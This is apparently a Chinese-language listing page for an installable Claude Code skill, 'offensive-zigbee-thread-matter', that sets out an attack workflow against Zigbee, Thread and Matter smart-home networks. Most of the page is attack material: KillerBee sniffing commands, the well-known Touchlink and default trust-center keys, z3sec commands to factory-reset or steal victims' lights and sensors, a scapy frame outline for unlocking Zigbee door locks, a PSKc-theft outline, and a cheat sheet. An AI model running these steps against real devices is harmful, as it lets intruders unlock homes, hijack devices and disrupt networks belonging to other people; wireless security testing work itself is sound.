mcpField
O
offensive-zigbee-thread-matter

offensive-zigbee-thread-matter

github.com/snailsploit安全9.7k176 次安装2 周前更新
代码仓库

关于 offensive-zigbee-thread-matter

面向无线安全测试人员的 Zigbee、Thread 和 Matter 攻击指南,介绍设备发现、流量捕获、配网滥用及协议特定风险,并列出相关硬件和工具。

主要功能

  1. 01发现网络并捕获 802.15.4 流量
  2. 02利用 Zigbee Touchlink 配网
  3. 03捕获入网密钥并解密流量
  4. 04构造 ZCL/ZHA 集群命令
  5. 05检查 Thread 与 Matter 配网风险

适用场景

  1. 01评估 Zigbee 灯具和传感器的配网安全
  2. 02分析入网期间的密钥交换流量
  3. 03测试 Thread 或 Matter 的凭据与配网流程

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-zigbee-thread-matter

安装后在 Claude Code 中输入/offensive-zigbee-thread-matter确认已加载。

详细介绍

Zigbee / Thread / Matter 攻击

基于 802.15.4 的网状协议是大多数“智能家居”设备的基础。Zigbee 部署广泛,存在广为人知的加密密钥重用问题;现代的 IPv6 版 Thread 默认安全性更强;Matter 统一了它们的配网模型,并采用更强的加密,但仍存在实现层面的隐患。

快速工作流

  1. 侦听目标频段(2.4 GHz 中的 11–26 信道)
  2. 识别网络协调器和正在加入的设备
  3. 对于 Zigbee:尝试使用广为人知的密钥进行 Touchlink 配网
  4. 在设备配网时捕获入网密钥交换
  5. 重放或注入 ZCL/ZHA 簇命令

硬件

适配器用途
TI CC2531 USB stick价格低廉,可与 Zigbee2MQTT、KillerBee 配合使用
TI CC2540 / CC2652Zigbee + Thread + BLE
Sonoff Zigbee Dongle E (CC2652P)新款,支持良好
ApiMote (KillerBee dev)多信道,scapy-dot15d4
HackRF + appropriate firmware更灵活的底层 RF 操作

发现 + 侦听

# KillerBee suite
zbstumbler -i 0                 # find Zigbee networks
zbid                            # ID coordinators
zbdump -c 11 -w zigbee.pcap     # dump channel 11 to pcap

# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)

在 Wireshark 中使用 dot15d4 + zbee_nwk 解析器,可以看到帧计数器、网络密钥(加入网络后)和 ZCL 命令。

滥用 Touchlink 配网

Touchlink(用于 Zigbee 3.0 配网,尤其常见于照明设备)使用一个广为人知的传输密钥:

0x9F559A553B7A6B2C5C4FBB4E84956F3D

许多消费级 Zigbee 灯泡 / 灯带都接受附近任意无线设备使用此密钥进行 Touchlink 配网——将它们加入你的网络,或从原网络中窃取。

# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>

结果:

  • 远程将受害设备恢复出厂设置(拒绝服务 / 大规模干扰)
  • 将灯具 / 传感器窃取到攻击者的网络中
  • 设备加入网络后读取网络密钥

捕获设备入网时的网络密钥

# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap

# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes

获得网络密钥后,即可在 Wireshark 中解密该网状网络上的所有流量。

滥用 ZCL / ZHA 簇命令

Zigbee Cluster Library 定义了开关、亮度和门锁簇。拥有网络密钥后,你可以冒充任意设备发送命令:

# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *

frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')

同样的方法可以开锁、切换开关、调暗灯光,或用控制流量淹没网络。

Thread 特有事项

Thread(用于 Apple HomePod、Nest、Eero)使用带 IPv6(6LoWPAN)的 802.15.4,并采用更强的配网加密。

  • 网络凭据是由配网器分发的 PSKc
  • 设备需在配网器在场时加入网络
  • 网状网络配网协议通过 UDP/CoAP 运行

攻击面:

  • 从配网器设备(移动应用配套设备、Apple Home、Nest 应用)窃取 PSKc
  • 重用泄露的凭据加入目标网络
  • 6LoWPAN 路由攻击(等级操纵、黑洞攻击)

Matter 配网

Matter 在统一的配网模型下整合 Zigbee/Thread/Wi-Fi 设备的接入流程:

  • QR 码或手动设置码可授予配网权限
  • 初始配网使用 Bluetooth LE
  • 后续通信通过 Wi-Fi 或 Thread 进行

攻击面:

  • 如果配网窗口未关闭,设置码可能被重用 / 重放
  • 初始配网期间的 BLE 中间人攻击(参见 offensive-bluetooth-ble)
  • 早期实现中的 Fabric 证明缺陷

检测

  • 协调器可能会记录异常设备加入事件
  • 中枢应用会显示“新设备”通知——用户通常会忽略
  • 防御人员使用 Wireshark / Sonoff 进行捕获的情况很少——大多数环境都不监控 802.15.4

行动速查表

# 1. Identify networks + channels
zbstumbler -i 0

# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors

# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>

# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>

# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)

# 6. For Thread: focus on commissioner / PSKc theft from companion apps

重要参考资料

评论

支持 Markdown